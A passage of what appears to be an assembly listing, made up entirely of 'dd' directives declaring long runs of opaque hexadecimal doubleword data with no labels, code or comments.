0DDBCC214h, 0D7F72818h, 0CB3E477Ch dd 84B67DF5h, 0EED1DB65h, 37DD39B1h, 7148DC28h, 944EB34Fh dd 6CB10495h, 62EB12AEh, 99563A8Ch, 534875C2h, 4EFAA5A0h dd 772BCE34h, 25E2C2ABh, 532E4D40h, 2008B31Eh, 521088E6h dd 0C72DD04Ch, 0A120D472h, 57533B66h, 0BAEBD6FDh, 0F9FCFC2Dh dd 8168B747h, 98975450h, 9FDD1DA8h, 0DDE9CB54h, 0C1FDA5E2h dd 137B8628h, 0E28EFF80h, 0BA5F0120h, 5D599DC2h, 963F8FC5h dd 0CEFE8E9Ch, 0D0EF4BA9h, 0A57C38B3h, 47D1515Ah, 0CDD843F4h dd 152C489h, 202C88F0h, 2B42A34Bh, 419D7960h, 8AF4C688h dd 0F3298037h, 7A94D5EEh, 12BA5B13h, 0E9842C02h, 0E1C05E7Ch dd 182C95EFh, 0E1314C7Eh, 0A13F0CE4h, 0A709B965h, 0F2018E65h dd 1DC97319h, 0BD74E532h, 4736397Bh, 1A060C63h, 157E81FDh dd 2EBDBB39h, 588B632Bh, 0FEBFEE55h, 0F1F2DF56h, 2BBFF5B8h dd 15093A1Fh, 75DD3010h, 88C29481h, 53262FBAh, 9E060919h dd 0CC1DFF2Fh, 0F8BB0677h, 852320E1h, 0DD95CDF0h, 2B0CA7A9h dd 6EB1A946h, 4837D309h, 1F798BA7h, 16437D11h, 0ACCA573Eh dd 30E9AC25h, 0E21D2025h, 2F3B6B36h, 30F2002Bh, 0E93FA432h dd 0FAA15F85h, 9D01DF64h, 0D9D6560h, 895507Bh, 0AB9B914Bh dd 14D97F42h, 0B5F7A87Fh, 568200FAh, 4BBA6850h, 58678C00h dd 461BD35h, 4D57984Dh, 97110D4Ah, 1DDF1637h, 0BE92E6A3h dd 7EC2D03Dh, 0D97195BAh, 0BAC20112h, 0BE80ECB3h, 2BAC4727h dd 0FA08609Dh, 68132D62h, 858871D6h, 0B7530039h, 6E7C0FBh dd 0C5F78017h, 0E9A5C0D0h, 6BF36536h, 924A87D0h, 0C55C43B9h dd 0B5519C80h, 0EC58005h, 0FED5F60Eh, 2EDDEBDh, 0D9E9E830h dd 0B50C74DCh, 0F9F33262h, 40E366FAh, 0EF8BA5Dh, 1672C73Dh dd 72ADD4A3h, 7F659904h, 0FBCEB74h, 4E5B0840h, 0C79EE956h dd 0ED2BC668h, 597CAD96h, 0F4040CC4h, 7BDDA732h, 4BC27D71h dd 0DD315EF7h, 8BF3AB82h, 0DFE01ADFh, 7C26D8F1h, 88044E3Fh dd 1212CED6h, 0F9570158h, 89306829h, 0C846531Ch, 81E77DE8h dd 504D2C5Ah, 0E64E0C8Ah, 8101E4A7h, 0FB64E5CBh, 9F0C8272h dd 402EED03h, 4C7FAC9Ch, 0F30411B3h, 0EBEEC47Dh, 4061459Ch dd 0BBE5EFAh, 0C53C282h, 6741DD25h, 0B1B474DFh, 25518758h dd 489AB210h, 998A94E8h, 1EC44CB4h, 556B8997h, 0C5BD1A1Ch dd 0A1201245h, 98436ACFh, 927982EBh, 0A07AF464h, 0B80CC308h dd 58C0F25Bh, 694D5268h, 0C2668B4Eh, 0D922DE66h, 9F2D9333h dd 0BF5749C1h, 7BE9AC6Eh, 4D310726h, 502477ADh, 0BACFA02Eh dd 20701ECh, 6FDE2D62h, 0D0295400h, 5A07A005h, 3EE42C68h dd 11006FCAh, 594CF62Ah, 35FDE912h, 0B44F31ABh, 0D0412B7Bh dd 6C3832F1h, 0B0011560h, 0FC6301AFh, 5CE9110Fh, 0D11635B0h dd 0AE795474h, 65DF92F2h, 2FA9E57Fh, 0AC9DEB45h, 0EF667F65h dd 2256C118h, 80650B9Ch, 5C2493B8h, 0AA355519h, 0E37344AEh dd 80DBD44Bh, 0BB317CA2h, 1B2D1602h, 0DD052F22h, 565832CEh dd 8BEB4EADh, 145A42B6h, 2CAD9F7h, 8EFBD426h, 85765C31h dd 40C8F2E9h, 405FF8CFh, 512CAA05h, 0EC0B7572h, 0BD30D58Ah dd 0FBB85801h, 0C6A4F895h, 25EA3EC0h, 7D5BDF2Fh, 772084A0h dd 312F6745h, 0B4E4C6D7h, 4EEBCFB1h, 7D6DC520h, 589D1647h dd 4581B5BAh, 44EB3DE9h, 29E4EA2Fh, 20A9905Eh, 681340AAh dd 0BCE612CCh, 14655127h, 7D47C089h, 1456EB6Eh, 0E9E604A8h dd 19D74EE5h, 981C9F62h, 1F8168F0h, 492A7661h, 9D543B5Dh dd 0F1173360h, 0E540B52Eh, 5812082Dh, 7EB8471Ch, 31C78817h dd 2F5556D5h, 0E95D9B30h, 0C0209DB8h, 501087EEh, 8D5A4A7Bh dd 0CA224818h, 7AF58282h, 0FAF32090h, 8D988FB2h, 1879572Dh dd 676EC1Bh, 0EAC11815h, 634A5004h, 57468140h, 63BF3CE8h dd 0EF290B4Ah, 0CFF86A16h, 1C04ADB4h, 121B2C12h, 0E0A09D8h dd 5EA00BCEh, 459D739Ah, 5571AD7Bh, 577FE9E1h, 0FB5B1697h dd 7CC93C03h, 0F208E3C0h, 9510D8A2h, 7998BA96h, 53515905h dd 94EFB2B3h, 75ED860Eh, 3779E92Ch, 374057A7h, 21952D73h dd 1378D504h, 6E8E2688h, 0B3E2BB17h, 17C58A7Fh, 0E11260ADh dd 57510906h, 4A755F59h, 9FCC6157h, 46D29CE3h, 9D7C5801h dd 17B6C67Ah, 0D65389CEh, 0E316730Eh, 9C013E9h, 976D3168h dd 38F4710h, 0B49510BDh, 667ECD97h, 5720C2E7h, 170CBB53h dd 47374E42h, 9B5F1751h, 7AD50729h, 6E8E4936h, 2D22B87Ch dd 0A6D32D4Ch, 53F091E4h, 3DD5ED55h, 86835F02h, 3F25C1E0h dd 11F809CBh, 1E2C3EF6h, 0F8C4FE4Dh, 6F0C1355h, 4D2C3D52h dd 66815C6Bh, 7F780A68h, 4B822DC8h, 44D8AFD2h, 0EAA85E0Bh dd 7F67521h, 95BD306Eh, 187DE338h, 3A2BF528h, 9FCC0520h dd 0B308AAD3h, 6BD4274Fh, 0EA13812Dh, 9A31B530h, 826EC430h dd 78E3007Dh, 980BF018h dd 0ED6B4DDh, 0D64DF231h, 56E06B08h, 687709C2h, 35B0D529h dd 5DF6EDD1h, 0F7957A70h, 1E9A9296h, 43749309h, 886BDE58h dd 7227B9BBh, 0BF027004h, 4897C2EEh, 0F13A9FBEh, 8221476Fh dd 0ED01F609h, 2BC042B5h, 0E18BF10Ch, 6A38BFE9h, 4D720897h dd 3DD455B4h, 84566363h, 0E2B2B9BFh, 5A81FE5Ch, 0E7DD880Bh dd 9E98BF7h, 96DF28ABh, 5E9697A8h, 0C105395h, 0CE171026h dd 3C7BBD0Bh, 0E32C2B4Dh, 64F9D8DEh, 786F769Dh, 930C13F6h dd 2B2BA137h, 1CF13BA4h, 7C10660Eh, 37068C17h, 7EF2E035h dd 15071D59h, 0B951E2D1h, 1F581210h, 0D3BC35E9h, 569BBFBAh dd 9FD4EA4Eh, 0E51AEE1Fh, 0FE80D59Ah, 0A368563Eh, 95F17897h dd 0FD506A54h, 0D47FB244h, 0A1405A5Bh, 0D1873D5Ah, 60155F92h dd 0D8130583h, 0E18900B7h, 0C111FC37h, 6C06F10Ch, 61EF6026h dd 62D33802h, 0F93CBEE9h, 2896AE6h, 0D3F1E48h, 90C6A57h dd 0B79A1608h, 0F7634BF6h, 0DEEF2874h, 0E78004B9h, 4319E33h dd 13FB07E9h, 3271BFADh, 0DB636E84h, 0FD2B1E55h, 4EED235h dd 0F5C437EAh, 4DEC6AA5h, 871F257Bh, 0F24B3BD7h, 8EDBDE73h dd 0F852EE87h, 0CAAB96E1h, 501B276Ah, 1CFD958Ch, 0E9FA95A4h dd 1C38C897h, 9065956Ah, 4D608420h, 3B2D0D18h, 76437985h dd 84BD05D8h, 0EB01A402h, 5F2E9E96h, 0EE9ADD7Bh, 7E2B9274h dd 32B4B980h, 0A02902D8h, 80A03C85h, 0EA9FC888h, 84795D7Bh dd 0BDF4E370h, 68175844h, 7DF95983h, 8E0B67DFh, 97DE3C7Fh dd 7182ED0Fh, 1D175D1h, 772D5E13h, 8735AA3Ch, 0F9C1EA7Dh dd 0FBE8F234h, 5B7CBDBEh, 0F109D4A4h, 6E7F2276h, 9A89D134h dd 0F35511BBh, 0D421C59Fh, 0C57EE694h, 12F076E9h, 0CAA00BBEh dd 5AFE3329h, 6CF8A539h, 36D22DD5h, 14A57B51h, 95C620CAh dd 0F7F9A2A0h, 7BFD573Bh, 0FA11220Eh, 88FE2B01h, 0E90608FEh dd 58324D9Fh, 0AE4E3F5Fh, 0E9177DCEh, 85FBE9FEh, 9852620Bh dd 9B1C10AAh, 0BBD05876h, 0EFE6845Ah, 411FFA7Ch, 53003FC0h dd 3CDC4758h, 5FC2FA42h, 0E5D1F962h, 107ED0BCh, 641EF26Eh dd 680282FCh, 907E368Ah, 5E56166Eh, 0A20877CDh, 5FDEB852h dd 6F068A95h, 0D353C40Ch, 5D1BB2B9h, 0C5D7FAC1h, 5FE39333h dd 14F18A01h, 0CF2152C8h, 0E8645592h, 28EA4AF9h, 0D52A68F5h dd 192FAC74h, 8B38776Eh, 7697DF20h, 0E69FC88Dh, 0D6B5616Ch dd 0A6C83Ah, 12ED396Ah, 79CAAE9h, 0B6A15012h, 5BEAB43Eh dd 0A8550AFCh, 9E916A32h, 680087D1h, 0A5C64321h, 0D46DCA3Dh dd 137AB827h, 0D0C6825h, 3E0D39B3h, 1E81E3E1h, 4E2D1E62h dd 40F664D1h, 63A5C30Fh, 2E48E9h, 6C11CFBEh, 501C4654h dd 7809EBB8h, 7891FF72h, 70C8905h, 7AD08448h, 0BD2A4BB6h dd 28682DCCh, 6FF667C9h, 82042F29h, 4C5963D2h, 7DE79F46h dd 116D6884h, 883F19CDh, 0AB4BA0CCh, 0FE3B9345h, 2C0DB49h dd 0F4478A13h, 555143E5h, 46FDECD2h, 3DBDF22Ah, 77256D59h dd 605F6AD5h, 0F23F922h, 0DBE964DEh, 0D24332D6h, 45392277h dd 0C3290327h, 62B2620h, 0E5C0C5FEh, 7780604h, 0B450CD0Bh dd 9DE758FCh, 0EE43DFA4h, 7998C316h, 5A1873ADh, 841EA171h dd 86CC89Eh, 7CE34F81h, 57C4D03Ch, 0D4AB1348h, 0D4A284C5h dd 0D51C813Dh, 0EDE8CD5Ah, 7076A9Ah, 0DE27CB88h, 4C6AC792h dd 700225A8h, 4F6120C8h, 703B5F27h, 0B49B1F81h, 3BD82D52h dd 0C6F2892Eh, 96EA81C0h, 28DE252Eh, 0C251CD78h, 1992B08h dd 9DFCC546h, 0DD134474h, 8143C341h, 0C4C0A3E3h, 18CBEC30h dd 0CE182326h, 57953C79h, 0EE20F31Eh, 0EB42C0CEh, 37F79FE3h dd 9B4AF0F8h, 9F42028Dh, 0ECB7E4B4h, 1C3990EDh, 0A5EFB7F8h dd 2E2F6454h, 9459CBECh, 9C63F639h, 0CB872CE1h, 77D4AE80h dd 0AA9442D7h, 0E05EFF82h, 0DBC4770Ah, 0AC139720h, 0F8F55E2Fh dd 0BE272EC1h, 196C4A02h, 0F317417h, 0AA99CC0Ch, 6E2A9F45h dd 8520C609h, 0E2FA4C6Eh, 68560713h, 0DF0B2E1Ah, 772C7B4Dh dd 0F8293E16h, 17424820h, 0AC62CB76h, 0A2CA8059h, 2F021540h dd 0EA07B8E9h, 0B353B1FEh, 50E521B5h, 1B702579h, 0D4C2E24h dd 0DD1B901h, 9130264Bh, 0F582D7h, 78AA6C07h, 0ADF24529h dd 27395611h, 630C87CCh, 4E310243h, 4F0973A7h, 0D1DE8367h dd 4849429Fh, 6F8B71F7h, 0F8F22DEFh, 55F9D7CBh, 97345F28h dd 77491F7Ch, 2B2B2EC5h, 5AD1108h, 0FC34F868h, 1871C4A9h dd 90B6375Fh, 250F3FAEh, 0CFF85A5Bh, 0DC440E13h, 61BC3177h dd 79252D89h, 442269C2h, 0CA7471E9h, 85FB0516h, 728115B3h dd 2ADEFE4Bh, 4A0FE917h, 898BFFD5h, 5A2B5429h, 0BF135A4Dh dd 901EDB4h, 0ED03E9F9h, 7CD66C55h, 0CCAD255Eh, 0A83E7C48h dd 789006A0h, 22C15BCEh, 6CF57927h, 7B69A068h, 76651205h dd 5D994929h, 0BA58AE76h, 0F6BBB55Bh, 85DEDB48h, 5E1601B9h dd 5F442C05h, 3B26E846h, 30EA2547h, 0D6F77E48h, 5789FD82h dd 11510E86h, 5529B298h, 6942FD54h, 0D90102E0h, 82295061h dd 1C2FCDDDh, 0F32E6194h, 0D642206Bh, 7A4E6B73h, 802B5A5h dd 0CCE05D58h, 6F272A75h, 2450F07Ch, 0AD3B2CE8h, 6ADDE962h dd 5F00896Ah, 85C8E77Bh, 482AD1AFh, 0A16435Fh, 26E8BF84h dd 0ED8CDAC4h, 307C0116h, 0CB890A9Ah, 31E2286Ah, 0FE5BD92Dh dd 213F12E9h, 637A1181h, 68134BAh, 0B8C1C324h, 0D0362670h dd 1BB42579h, 9C030D53h, 0F110C00Ah, 1C9265BEh, 0F618015Bh dd 7A388478h, 80BA6D4h, 0E23C805Fh, 95D3A2E3h, 5D9D082h dd 45D79EA9h, 0EA7D27B1h, 0CB26C00Eh, 9212287Ch, 93AD5C2h dd 3100EA4Ah, 0DF40B4F2h, 8BFC9775h, 0BBE7E985h, 0C7056425h dd 0CCABE543h, 0D15EB679h, 119B78BAh, 32DD640h, 5426DC3h dd 0A9DC801h, 10AF5607h, 0CE81025Eh, 40CF1258h, 82ED6257h dd 5DBBA95Dh, 0A4118DAh, 0D6DFB752h, 0EE124CAAh, 0C1875964h dd 0E40FC8ABh, 6163BF6Fh, 3EA732F9h, 9D138B60h, 0B7952671h dd 0D0EA4EE5h, 0FC5ED98Ah, 2671658h, 99631DC2h, 0F3E56022h dd 399525C1h, 8F065262h, 0F90F7F6h, 0B7E40E20h, 1FF172C3h dd 74273A8Bh, 5A13784h, 0E639646Ah, 6F4A77F8h, 59848BE3h dd 25DCB5Bh, 9E1AB168h, 3BEC7570h, 4A26F705h, 0CD001219h dd 11ACED98h, 14F95331h, 7DFC440h, 4F21E78Dh, 0CB93821Ch dd 0A8CE271h, 4C09109Ah, 0A8B459DEh, 0ADCC4FF2h, 75BB0953h dd 537E9321h, 0A4F3C202h, 27D3F4A9h, 0EE816ADCh, 176C7A35h dd 0C2F2F500h, 0F3F0194Fh, 9E35BE9h, 668DAC32h, 19C26A91h dd 0C2377C93h, 207D725Fh, 8009D988h, 0C1577D90h, 0D72A2E8Ah dd 0EE889453h, 0FB455E07h, 48EC8A36h, 0DF5E89h, 0AB2EA2E6h dd 4F05126Dh, 0E1C31641h, 4D144379h, 8DA6BF84h, 5929407Bh dd 0F1965DECh, 198A0501h, 89289230h, 0C3D54118h, 0AFFAFABEh dd 0A65B467Bh, 702D2B00h, 986FE27Dh, 47513C13h, 1ED5072Ch dd 3C2A8BC3h, 18237F8Fh, 0C0953F6h, 24F33CBh, 825947Ch dd 4561099Ah, 669E84D3h, 72D32265h, 0A0A37921h, 6F1520A8h dd 7AECF751h, 7D619A91h, 0ACC4283Eh, 1F984A53h, 0D2B0E5C1h dd 50B564CFh, 167CB221h, 18197248h, 8929E43Ah, 551861DEh dd 0ABCC9772h, 746FC223h, 7DBD071Fh, 6850B10Eh, 0F2B55701h dd 4576417Ah, 462ECB62h, 0C4680489h, 8E09C560h, 87E9128Dh dd 0F6B9C040h, 5C12206Bh, 0C512A3F7h, 5EFA8C23h, 0C9ABC34Ah dd 826E2255h, 4B1AE9h dd 795037B8h, 9E335598h, 0C2BD5FF6h, 0CBF0E055h, 8947B359h dd 0C8FEF262h, 74CB719Fh, 319051Ah, 533620FAh, 3140887Dh dd 0F1811249h, 168E0EA1h, 153442DEh, 63602365h, 802E6B72h dd 0C1492DDh, 60C78462h, 59DBC8AEh, 84B497Ah, 2EF76E13h dd 0A43C6B12h, 0C16A906h, 0BEFD7E13h, 1CAD0841h, 0F9AA07Ah dd 74E936B5h, 3AFF9D5Ch, 3A8538E6h, 68989F91h, 799520BBh dd 81DE28Ah, 0CFEA397Ch, 0EB6B8202h, 0DD544948h, 118F37Bh dd 58C23059h, 15C3D32Ch, 0B22B9620h, 81C94F76h, 0D9F18094h dd 409F2053h, 0ED7A4641h, 1FE01070h, 5AD6310Ah, 2D0B27FCh dd 89C16D7Fh, 0ECCE4EA5h, 36E4801Ch, 0C026ECC5h, 0CC52841Eh dd 0F938810Dh, 1127EE01h, 2A385CF9h, 90B5347Eh, 89D0EF1Ch dd 5A626856h, 0CC1F8C37h, 295A35F4h, 0DA53F923h, 5D3AE1E7h dd 47206606h, 0CB7FC8Fh, 0DFF7803Ah, 7890DC06h, 5D27219Ch dd 5FB96834h, 30826881h, 6F2047DEh, 5D9B0CE1h, 0F20C6D13h dd 543C3B09h, 0A30F5A49h, 0CD57E547h, 2F619294h, 35744DE9h dd 719D2D68h, 0D3880AD3h, 8B66144Ch, 5C97D10h, 0FE43EB80h dd 6F1CCEC1h, 0E8140D01h, 0F7274175h, 2ECC8ED8h, 731F260Bh dd 172D0514h, 0E9357A6Dh, 648710CBh, 399AA4Fh, 0F46FF0FEh dd 122C2D1Bh, 3F21C341h, 29DA6ED0h, 4F432DF5h, 89BC1BF4h dd 8E18A742h, 0B3E917h, 5FFB8984h, 4D36BF7h, 860CBE02h dd 17C5B900h, 2A677A64h, 2180D045h, 51AD1672h, 286D620Fh dd 366C9268h, 0D540A124h, 8BD89002h, 17AF71Dh, 7F081E85h dd 1CC5279Fh, 0B3294A7h, 2D9F685Ch, 2A6764FEh, 35C2D88h dd 402BDA48h, 5E2F5C26h, 0EAAFBCECh, 4A330822h, 8869DC0Bh dd 5D2D05B9h, 0FCA8B124h, 71374AFBh, 5E52E636h, 4BF3E83Eh dd 56C2A5A1h, 0C7FF25A1h, 8DE905F1h, 0F6264F4Fh, 9421EB36h dd 83547353h, 0ABD14E04h, 3BD939BAh, 6D0CF744h, 8D0223EEh dd 248330C9h, 0C80B68AAh, 0F0779B13h, 2D75ECE4h, 0F748406Bh dd 472C16FDh, 2E10A63Fh, 0C4CE3C50h, 0F8D2F665h, 0E6247A67h dd 0BD8B0480h, 663B566Dh, 84096856h, 4803EB2Ah, 0D2604F57h dd 0B512AF97h, 0EC1057EBh, 1D9A9DDAh, 946D152h, 385E6908h dd 0F7685742h, 9E02BE10h, 420E7C9Fh, 655F4781h, 208588E0h dd 0B831FC26h, 412B0A39h, 0F48B1B38h, 0BBA47B95h, 0C483D73Dh dd 8B2FADF5h, 5B3E205Eh, 1B635h, 122D7C31h, 8969739Fh dd 0D70F68BFh, 0AE276078h, 4A0918BFh, 599CA4Ch, 478A7CB7h dd 994D4FFh, 295D5F08h, 0C377F18h, 50FFFE2Dh, 0AACEB1C1h dd 776ADA01h, 2F95ABD0h, 3EBE64BBh, 5086B900h, 88B876C2h dd 2D6D25Ch, 0D5E94E69h, 97A374D6h, 5CF842CEh, 0C3F0942Ch dd 0E325272Ch, 202A41C2h, 7ACF81D7h, 5DE36418h, 2566F00Ch dd 60755325h, 5EE90227h, 0A329C4F4h, 25984825h, 1FE1191Ch dd 3107042Fh, 16D5A3C8h, 0E9A95968h, 0ABF22B1Ah, 0EAE499D0h dd 0F008D0h, 111D59C6h, 0BD1A20E9h, 0D925C773h, 0BD55426Ah dd 0DC924012h, 4FC41D3Fh, 928B429h, 8E5B5D08h, 2D757D08h dd 0D5240C74h, 0E8285A04h, 0D0AB1B87h, 20F69F18h, 48F9D772h dd 44B77E42h, 0B63025BDh, 0C5D6D32Fh, 2CB7EF62h, 0D436E985h dd 9DC9FEA0h, 8E313B43h, 9CE928FFh, 0BEA724Ch, 5B0A3E73h dd 5A10BFF4h, 313BBF02h, 20E03A4Dh, 1B2547ECh, 82C3DA4Fh dd 4DCEF708h, 0DE03A00h, 0E9D101F6h, 6E6B41F7h, 2F121006h dd 20C57E0Fh, 0B0C4EE14h, 570B1C66h, 0CEC94554h, 80DDA812h dd 0D86C73C6h, 88A30640h, 42CDF04Bh, 635475C2h, 0D4D9D242h dd 80BF9628h, 0B0D6853h, 1A8559C6h, 0F05A977Fh, 1005F4Eh dd 0BBBE057Bh, 47A6062Dh, 0CA290DD0h, 2209315Ah, 14205D42h dd 8D583476h, 2AC978B5h, 33CF15E4h, 851EAAF1h, 887006DFh dd 1F132D05h, 10EA2430h, 54C07DEh, 0C55FAE4Dh, 0C38FAF03h dd 23D0AB4Fh, 17AEB951h, 1364A2Fh, 0A17206Ah, 6697104h dd 550980C0h, 0F47A77E0h, 0DF42892h, 71323C70h, 4B63203Eh dd 24807D5Ch, 0B074D08h, 0C1C4D16h, 0EF200B98h, 0F38F31ABh dd 33F8F6E0h, 0F1F20AD6h, 4ABEC9Dh, 0A44ADDBAh, 0BAD0FF47h dd 33251BE9h, 25E35F9h, 7A2F70C1h, 398894DCh, 0FEBA52C7h dd 0E85AF592h, 289C9FABh, 0B494FD25h, 3EB85002h, 0E0609D27h dd 0D2420595h, 0C804FE0Fh, 5D01B9A5h, 7E342A68h, 38808D34h dd 48FE2BA6h, 0CF12B160h, 13D2E642h, 88AED348h, 955E10D6h dd 0D0D383E8h, 0B1515028h, 4AE9D73Ch, 52598D0Ch, 0BE1D40AFh dd 2DBDB5B4h, 52768732h, 1696DF49h, 0D2484222h, 7221AE64h dd 5210AAE2h, 711F2068h, 253F4FB2h, 209DC62Fh, 0F09C6D8Ch dd 785B273Ch, 502099EEh, 0A704568h, 0DA967795h, 420899Dh dd 1712DF49h, 4552AB91h, 0D9C3E0BEh, 904AABE8h, 6692FDE8h dd 843B32D5h, 0A47ABC38h, 0D725C7E8h, 56B565E6h, 0EF05C4ABh dd 12A75113h, 68A52CD6h, 25B523A8h, 8A165595h, 0EB21BE54h dd 0ED283F02h, 42F30114h, 5E0802F9h, 0FB7AFD55h, 4F3024B0h dd 0AAEE5363h, 0EA444B73h, 13C672D0h, 19EF300Eh, 5FA1B61Eh dd 0F0013717h, 5801C13h, 5005B9h, 0C9812653h, 6A077875h dd 405AFEFDh, 0A1AF70BDh, 9DC241Ch, 25B6B0CAh, 95695A55h dd 92F37EF6h, 8D58816h, 0D02F3EA5h, 91682713h, 552028D2h dd 0D32D0666h, 200B8509h, 9C34F24Bh, 435F0880h, 10655A9Bh dd 0B44F8362h, 0AC2FE947h, 0DF0C4AD4h, 0A8EAC34Ah, 2C3B9890h dd 0FFFA83CEh, 752709DCh, 273F3745h, 802360FCh, 0F6E200C4h dd 2BB353D4h, 378EBC0h, 0C34CDB7Dh, 81822755h, 45F16813h dd 9DC5EB28h, 3BED3D5Dh, 57688070h, 6096BE55h, 797A63BAh dd 0C3564297h, 0E2942048h, 8EB8584Ah, 0F36C80B4h, 3514571Dh dd 3884D2F7h, 7E7119AEh, 0BB25408Ch, 165CA26Ah, 0B2A23A98h dd 125BFC92h, 0A4214F23h, 7BE132E6h, 18B5FC2Eh, 8A381428h dd 97244C6Ch, 10B7910h, 2052D0BFh, 0B06B551Fh, 8F2C03C8h dd 0DF175809h, 85A64EC1h, 0EE9C5524h, 0E1761D9h, 3855F929h dd 64B5B097h, 0B0737802h, 0B4992DC6h, 0F73DDBE6h, 0EBAADE1h dd 0CB0696BCh, 0B7E0F9Ch, 4C9171EFh, 0EFA72284h, 0A34E46B3h dd 0FE983A3h, 0BD2A1388h, 0F12CEF02h, 842714B4h, 0E41FAF18h dd 4032CB2Ch, 71833474h, 0C822905Dh, 3D13BD0Dh, 1CA50C3Ch dd 210E195Eh, 56A4A9C6h, 2662826Ah, 0BD927E3Bh, 74B7DE82h dd 6801BCF1h, 606377D8h, 4E8FAB70h, 2F72F536h, 8E8255D9h dd 67112A6h, 4E2B9440h, 0D13D6212h, 8D045BACh, 0EEE7BFEBh dd 6F021EF9h, 416C7127h, 587EC7C0h, 7943B127h, 7C1B6096h dd 14EFE75h, 299E28EBh, 2B8CF58h, 0C01FF7EFh, 0A04CF421h dd 8B0CC108h, 403EA67Ch, 99FAE975h, 6812E4A6h, 90343C1Dh dd 327E8504h, 57019F8Fh, 281D4FBFh, 5136F44h, 25F4A408h dd 5BE4687Dh, 0BEF35B81h, 5201B71Eh, 599AE956h, 0C183D13Bh dd 925F20EAh, 0C289BAAAh, 392BBBA0h, 0BB9423DEh, 0BB70720h dd 0CB595C47h, 0E95A605Fh, 0C6F9590Dh, 0DBE6EA20h, 169DBD80h dd 0E137310Ch, 0FDC7CD7Bh, 83D5897Fh, 47B323C0h, 0C8038B4Eh dd 59E901EDh, 5D2ED549h, 58F7B91Ch, 4E10B5E5h, 83813EA6h dd 496222BEh, 61BB0457h, 0BF698B77h, 1A07C810h, 0F68F26E9h dd 79C98887h, 0DD2F3C9Eh, 0D5AF0315h, 0A09688BAh, 40B04A54h dd 0D3112D05h, 81AA3BB0h dd 2A267CEAh, 89C409B8h, 4BEDAEF3h, 0CAFBE9B1h, 5191915Ch dd 9111424h, 83577AB5h, 983DED17h, 0F1E9E6CDh, 0F9C3887Bh dd 8A7B8872h, 0F0096FEFh, 935C5C05h, 6817F42Dh, 0BB6BAA2Ch dd 0ACC07DC9h, 3B3A4F2Dh, 2890D822h, 149F0705h, 685302CBh dd 7FB74656h, 26C1D95Dh, 0AF48174Bh, 95F93139h, 0A04B5003h dd 0A7650FE1h, 85B1D768h, 0CBE63B4Eh, 0A66E9C2h, 7A60F50Bh dd 0D5954CBDh, 1F1C2898h, 2A0B3D9Ah, 0C169DD7Ah, 0BB0133B2h dd 0DD8E4C7h, 0EFF8897Eh, 0DCAA8A4Bh, 8540D8B1h, 1A612568h dd 449D51E6h, 0F3BF02C4h, 9113C63h, 2C09B6FCh, 2796D9D2h dd 13F69455h, 0ED3F37E9h, 7F730C1Fh, 41A53ADEh, 0CE0C8B47h dd 805B7126h, 188042D7h, 3EE75368h, 74E7F730h, 0E936093Ch dd 3A5D4DD3h, 20D064B4h, 5F979CCEh, 4C104382h, 232B90A2h dd 52620056h, 77407D19h, 34D4AC72h, 18444F2Dh, 20D48133h dd 0AE5AB2EDh, 869A6E1Fh, 2FFF79D7h, 0E90D08E5h, 0AD3F8B3Dh dd 4BBCD04Ch, 0EFA4E6E9h, 7E85DEE2h, 727EE4A7h, 0AC92C17h dd 802B9F5h, 0E976605Bh, 4B154FAFh, 94D7595Bh, 0D0EC9471h dd 0DAB64BF5h, 8A137F82h, 2F484045h, 6C792F06h, 0D760CAD2h dd 7B0C8616h, 0F921146Bh, 0F326F15Fh, 89C602ABh, 806059CBh dd 0C53F03D2h, 93ED8372h, 0B17C9426h, 1CC1BEE5h, 405376C2h dd 8A4F84B0h, 58376197h, 0AF84133Ah, 17947BE3h, 35634D81h dd 55C07B48h, 0BD096403h, 77C1B8C2h, 5ECD6B6Ah, 4F686FC0h dd 7975FC3Ch, 0A8B6655Fh, 915D8C0Ch, 5A5AD512h, 0AD3C04EBh dd 7940BAD0h, 1B6DE381h, 447E58F6h, 2706300Bh, 0B614355h dd 3741CFE4h, 0A1CDBA00h, 6460FA3Bh, 60021DDEh, 44599D29h dd 8088053Dh, 13EEBB79h, 0C650B286h, 14C3A99Dh, 0A9485AD0h dd 0F0257203h, 360E096Ch, 4276CA2Dh, 0D6C1E979h, 14613F7h dd 0C8097CFAh, 5ECBF00Ah, 0E578C3D8h, 78681306h, 5CF5BE34h dd 20615F31h, 4B7045E4h, 4CB4E401h, 0FCF73144h, 9C87B58Ch dd 0FEF8B55Bh, 0BF2B5A2Dh, 5DE99630h, 18F99732h, 650CAB49h dd 0A3FEC9ABh, 2F58469h, 9A5AB1E8h, 0FDB51195h, 0A8C66C27h dd 1A9F44F0h, 6916F4B8h, 270E9E5Fh, 3DD4B2E9h, 6FF0F1A0h dd 14F7355Eh, 0B432BF4Ah, 68A248B4h, 8C744AF3h, 67E4FC40h dd 43E9380Bh, 0BC455123h, 88F415A6h, 0BC09885Ah, 0CE415A20h dd 0C944923Eh, 711EFF6Bh, 600A2C95h, 0C5194D0Fh, 601BE13h dd 0C64E24Ah, 0E756A51Fh, 80388EAh, 3BEB54DFh, 8C114129h dd 7D5D0C08h, 0B0749D01h, 8741436Dh, 6602380Dh, 8ABA7740h dd 0B89289EAh, 7A4B684Eh, 0DA8F93C7h, 1217646h, 0EC763F2Dh dd 2E012A7Dh, 2B9F2861h, 8943F63Fh, 0A1D5C368h, 15962B05h dd 980A53F8h, 575F0123h, 680BCACBh, 30992D16h, 14B92E54h dd 4982C07h, 51C843CEh, 8136EDE1h, 3C1BF18h, 0C570163Ah dd 0D12A0224h, 5FFA315Ch, 0C5E998F4h, 0AE2196A5h, 0B3B4D60h dd 813A01C4h, 0A17490EAh, 6FB52F63h, 0FEFA0806h, 0E8161785h dd 0C0F200FAh, 4014B62Bh, 646261E3h, 0D12A68C0h, 9925852Ah dd 0B56B5D41h, 195B0FC0h, 9D77D0BFh, 44B057C6h, 0E43FBA60h dd 0B020EE4Fh, 31A24028h, 2CEFF14Fh, 4E00C12Eh, 89D6AE83h dd 9D78E9CDh, 857E6709h, 0FE5A600Bh, 0CDE743BBh, 0DC250E7Ch dd 0DE6CDF10h, 0D600A75Eh, 1D606851h, 59760096h, 8BB5349h dd 92C51879h, 0CDAF9702h, 29FE3AA5h, 0A8D96A07h, 72B1DD6Ah dd 0D2EECE5Dh, 0F7C038ECh, 6F9C68E1h, 57A50B91h, 0BB078663h dd 5B660C2Ch, 0F398D004h, 80560EB2h, 0EA66FFC2h, 30EF0C88h dd 7A96F211h, 3075D84Bh, 0B9F35A17h, 1A2C70A0h, 1C02DD62h dd 0C027720Eh, 2F2B67EEh, 0D5F613C1h, 594B08A0h, 0C3004DEDh dd 14A6F52h, 5F4E1BE9h, 0A22B529Dh, 